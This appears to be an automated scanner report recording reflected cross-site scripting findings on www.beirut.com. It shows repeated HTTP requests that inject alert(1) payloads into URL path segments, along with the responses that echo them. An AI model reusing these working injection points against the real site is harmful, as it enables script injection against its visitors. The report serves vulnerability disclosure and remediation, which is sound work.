GET /Shoppinga26ff'-alert(1)-'0a504d2863/Stores-Markets/3546182765 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:02:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59859
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shoppinga26ff'-alert(1)-'0a504d2863/Stores-Markets'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78c1c'-alert(1)-'d145a633f7e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping78c1c'-alert(1)-'d145a633f7e/Stores-Markets/3546182765/Department-Store/68 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:04:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60059
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping78c1c'-alert(1)-'d145a633f7e/Stores-Markets/3546182765/Department-Store/68'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d47e"><a>acdaeb12181 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping5d47e"><a>acdaeb12181/Stores-Markets/3546182765/Department-Store/68 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:53:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59952
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping5d47e"><a>acdaeb12181"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b4072'-alert(1)-'8bf252c2f0a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingb4072'-alert(1)-'8bf252c2f0a/Stores-Markets/3546182765/MiniMarket/75 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:58:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shoppingb4072'-alert(1)-'8bf252c2f0a/Stores-Markets/3546182765/MiniMarket/75'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1422d"><a>e29aae621eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping1422d"><a>e29aae621eb/Stores-Markets/3546182765/MiniMarket/75 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:48:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59976
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping1422d"><a>e29aae621eb"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef7af'-alert(1)-'a4c5d786ed4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Stores-Marketsef7af'-alert(1)-'a4c5d786ed4/3546182765/MiniMarket/75 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:04:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57785
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Stores-Marketsef7af'-alert(1)-'a4c5d786ed4/3546182765/MiniMarket/75'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 77a97<script>alert(1)</script>0c7a555e2b3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Stores-Markets77a97<script>alert(1)</script>0c7a555e2b3/3546182765/MiniMarket/75 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:05:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57777
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Stores Markets77a97<script>alert(1)</script>0c7a555e2b3 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 256b2"><a>67ef445c9a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping256b2"><a>67ef445c9a4/Stores-Markets/3546182765/Supermarket/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:38:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60215
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping256b2"><a>67ef445c9a4"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a90d'-alert(1)-'a542c436cba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping3a90d'-alert(1)-'a542c436cba/Stores-Markets/3546182765/Supermarket/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:45:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60002
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping3a90d'-alert(1)-'a542c436cba/Stores-Markets/3546182765/Supermarket/63'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53fc3'-alert(1)-'54c431413ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Stores-Markets53fc3'-alert(1)-'54c431413ae/3546182765/Supermarket/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:51:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59893
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Stores-Markets53fc3'-alert(1)-'54c431413ae/3546182765/Supermarket/63'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 14623<script>alert(1)</script>10ab5659ae6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Stores-Markets14623<script>alert(1)</script>10ab5659ae6/3546182765/Supermarket/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:51:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59874
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Stores Markets14623<script>alert(1)</script>10ab5659ae6 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3352'-alert(1)-'1987268ce2a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Stores-Markets/3546182765b3352'-alert(1)-'1987268ce2a/Supermarket/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:56:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60524
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Stores-Markets/3546182765b3352'-alert(1)-'1987268ce2a/Supermarket/63'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70285'-alert(1)-'154c5bfcafe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Stores-Markets/3546182765/Supermarket70285'-alert(1)-'154c5bfcafe/63 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:59:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59888
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Stores-Markets/3546182765/Supermarket70285'-alert(1)-'154c5bfcafe/63'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53ca1"><a>d32881060f0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping53ca1"><a>d32881060f0/Toys-Gifts-Electronics/849778728/Consumer-Electronics/13 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:00:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping53ca1"><a>d32881060f0"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97253'-alert(1)-'94cd40893b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping97253'-alert(1)-'94cd40893b6/Toys-Gifts-Electronics/849778728/Consumer-Electronics/13 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:04:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59943
